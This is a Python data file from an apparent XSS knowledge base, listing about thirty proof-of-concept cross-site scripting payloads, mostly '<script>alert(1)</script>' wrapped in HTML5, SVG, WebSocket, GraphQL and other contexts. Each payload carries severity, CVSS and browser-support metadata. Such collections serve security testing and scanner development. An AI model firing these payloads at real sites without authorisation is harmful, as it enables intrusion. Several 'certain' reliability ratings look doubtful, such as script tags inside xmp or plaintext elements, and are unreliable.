#!/usr/bin/env python3
"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-27 UTC
Status: Refactored
Telegram: https://t.me/EasyProTech

Comprehensive Base Payloads - Part 1
"""

from typing import Dict

from ..models import PayloadEntry


COMPREHENSIVE_BASE_PAYLOADS_PART1: Dict[str, PayloadEntry] = {
    "comprehensive_14": PayloadEntry(
        payload="<xmp><script>alert(1)</script></xmp>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Example element XSS",
        tags=["xmp", "preformatted", "text"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "comprehensive_15": PayloadEntry(
        payload="<plaintext><script>alert(1)</script>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Plaintext element XSS",
        tags=["plaintext", "legacy", "text"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # More HTML5 semantic elements
    "html5_article": PayloadEntry(
        payload="<article><script>alert(1)</script></article>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Article element XSS",
        tags=["html5", "semantic", "article"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "html5_section": PayloadEntry(
        payload="<section><script>alert(1)</script></section>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Section element XSS",
        tags=["html5", "semantic", "section"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "html5_nav": PayloadEntry(
        payload="<nav><script>alert(1)</script></nav>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Navigation element XSS",
        tags=["html5", "semantic", "navigation"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "html5_main": PayloadEntry(
        payload="<main><script>alert(1)</script></main>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Main element XSS",
        tags=["html5", "semantic", "main"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "html5_aside": PayloadEntry(
        payload="<aside><script>alert(1)</script></aside>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Aside element XSS",
        tags=["html5", "semantic", "aside"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "html5_header": PayloadEntry(
        payload="<header><script>alert(1)</script></header>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Header element XSS",
        tags=["html5", "semantic", "header"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "html5_footer": PayloadEntry(
        payload="<footer><script>alert(1)</script></footer>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Footer element XSS",
        tags=["html5", "semantic", "footer"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "html5_address": PayloadEntry(
        payload="<address><script>alert(1)</script></address>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Address element XSS",
        tags=["html5", "semantic", "contact"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # More advanced SVG attacks
    "svg_use_element": PayloadEntry(
        payload="<svg><use href='#<script>alert(1)</script>'></use></svg>",
        contexts=["svg"],
        severity="high",
        cvss_score=7.3,
        description="SVG use element XSS",
        tags=["svg", "use", "reference"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "svg_symbol_injection": PayloadEntry(
        payload="<svg><symbol><script>alert(1)</script></symbol></svg>",
        contexts=["svg"],
        severity="high",
        cvss_score=7.3,
        description="SVG symbol injection",
        tags=["svg", "symbol", "reusable"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "svg_defs_injection": PayloadEntry(
        payload="<svg><defs><script>alert(1)</script></defs></svg>",
        contexts=["svg"],
        severity="high",
        cvss_score=7.3,
        description="SVG defs injection",
        tags=["svg", "defs", "definition"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "svg_g_element": PayloadEntry(
        payload="<svg><g><script>alert(1)</script></g></svg>",
        contexts=["svg"],
        severity="high",
        cvss_score=7.3,
        description="SVG group element XSS",
        tags=["svg", "group", "container"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # More WebSocket payloads
    "websocket_user_list": PayloadEntry(
        payload='{"type": "user_list", "users": ["<script>alert(1)</script>", "user2"]}',
        contexts=["websocket"],
        severity="high",
        cvss_score=7.5,
        description="WebSocket user list injection",
        tags=["websocket", "user-list", "array"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "websocket_typing_indicator": PayloadEntry(
        payload='{"type": "typing", "user": "<script>alert(1)</script>"}',
        contexts=["websocket"],
        severity="high",
        cvss_score=7.5,
        description="WebSocket typing indicator XSS",
        tags=["websocket", "typing", "indicator"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # More Service Worker payloads
    "sw_background_sync": PayloadEntry(
        payload='{"type": "sync", "data": "<script>alert(1)</script>"}',
        contexts=["service_worker"],
        severity="high",
        cvss_score=7.8,
        description="Service Worker background sync XSS",
        tags=["service-worker", "background-sync", "offline"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "sw_install_event": PayloadEntry(
        payload='{"type": "install", "version": "<script>alert(1)</script>"}',
        contexts=["service_worker"],
        severity="high",
        cvss_score=7.8,
        description="Service Worker install event XSS",
        tags=["service-worker", "install", "lifecycle"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # More WebRTC payloads
    "webrtc_sdp_manipulation": PayloadEntry(
        payload='{"type": "offer", "sdp": "v=0\\r\\no=<script>alert(1)</script> 123456"}',
        contexts=["webrtc"],
        severity="high",
        cvss_score=7.6,
        description="WebRTC SDP manipulation XSS",
        tags=["webrtc", "sdp", "offer"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "webrtc_peer_info": PayloadEntry(
        payload='{"type": "peer_info", "name": "<script>alert(1)</script>", "id": "peer123"}',
        contexts=["webrtc"],
        severity="high",
        cvss_score=7.6,
        description="WebRTC peer information XSS",
        tags=["webrtc", "peer", "info"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # More GraphQL payloads
    "graphql_subscription_xss": PayloadEntry(
        payload='subscription { messageReceived { content: "<script>alert(1)</script>" } }',
        contexts=["graphql"],
        severity="high",
        cvss_score=7.4,
        description="GraphQL subscription XSS",
        tags=["graphql", "subscription", "realtime"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "graphql_introspection_xss": PayloadEntry(
        payload='query { __type(name: "<script>alert(1)</script>") { name } }',
        contexts=["graphql"],
        severity="high",
        cvss_score=7.4,
        description="GraphQL introspection XSS",
        tags=["graphql", "introspection", "schema"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # More Shadow DOM payloads
    "shadow_custom_property": PayloadEntry(
        payload="<my-element style='--user-content: <script>alert(1)</script>'></my-element>",
        contexts=["shadow_dom", "css"],
        severity="high",
        cvss_score=7.3,
        description="Shadow DOM custom property XSS",
        tags=["shadow-dom", "css", "custom-property"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "shadow_event_delegation": PayloadEntry(
        payload="<my-component><button onclick='alert(1)'>Click</button></my-component>",
        contexts=["shadow_dom"],
        severity="high",
        cvss_score=7.3,
        description="Shadow DOM event delegation XSS",
        tags=["shadow-dom", "event", "delegation"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # More Custom Elements payloads
    "ce_lifecycle_connected": PayloadEntry(
        payload="<x-alert-1></x-alert-1>",
        contexts=["custom_elements"],
        severity="medium",
        cvss_score=6.1,
        description="Custom element lifecycle XSS",
        tags=["custom-elements", "lifecycle", "connected"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    "ce_observed_attributes": PayloadEntry(
        payload="<my-input data-value='<script>alert(1)</script>'></my-input>",
        contexts=["custom_elements"],
        severity="high",
        cvss_score=7.1,
        description="Custom element observed attributes XSS",
        tags=["custom-elements", "attributes", "observed"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # More HTTP/2 Push payloads
    "http2_push_cache_key": PayloadEntry(
        payload="/cached/user_<script>alert(1)</script>.json",
        contexts=["http2_push"],
        severity="medium",
        cvss_score=6.8,
        description="HTTP/2 push cache key injection",
        tags=["http2", "push", "cache"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "http2_push_etag": PayloadEntry(
        payload='{"etag": "<script>alert(1)</script>", "content": "data"}',
        contexts=["http2_push"],
        severity="medium",
        cvss_score=6.8,
        description="HTTP/2 push ETag injection",
        tags=["http2", "push", "etag"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # More modern framework payloads
    "framework_svelte": PayloadEntry(
        payload="{@html userInput}",
        contexts=["template_injection"],
        severity="high",
        cvss_score=7.5,
        description="Svelte HTML injection",
        tags=["svelte", "template", "html"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "framework_solid": PayloadEntry(
        payload="<div innerHTML={userInput} />",
        contexts=["template_injection"],
        severity="high",
        cvss_score=7.5,
        description="SolidJS innerHTML XSS",
        tags=["solid", "jsx", "innerHTML"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
}
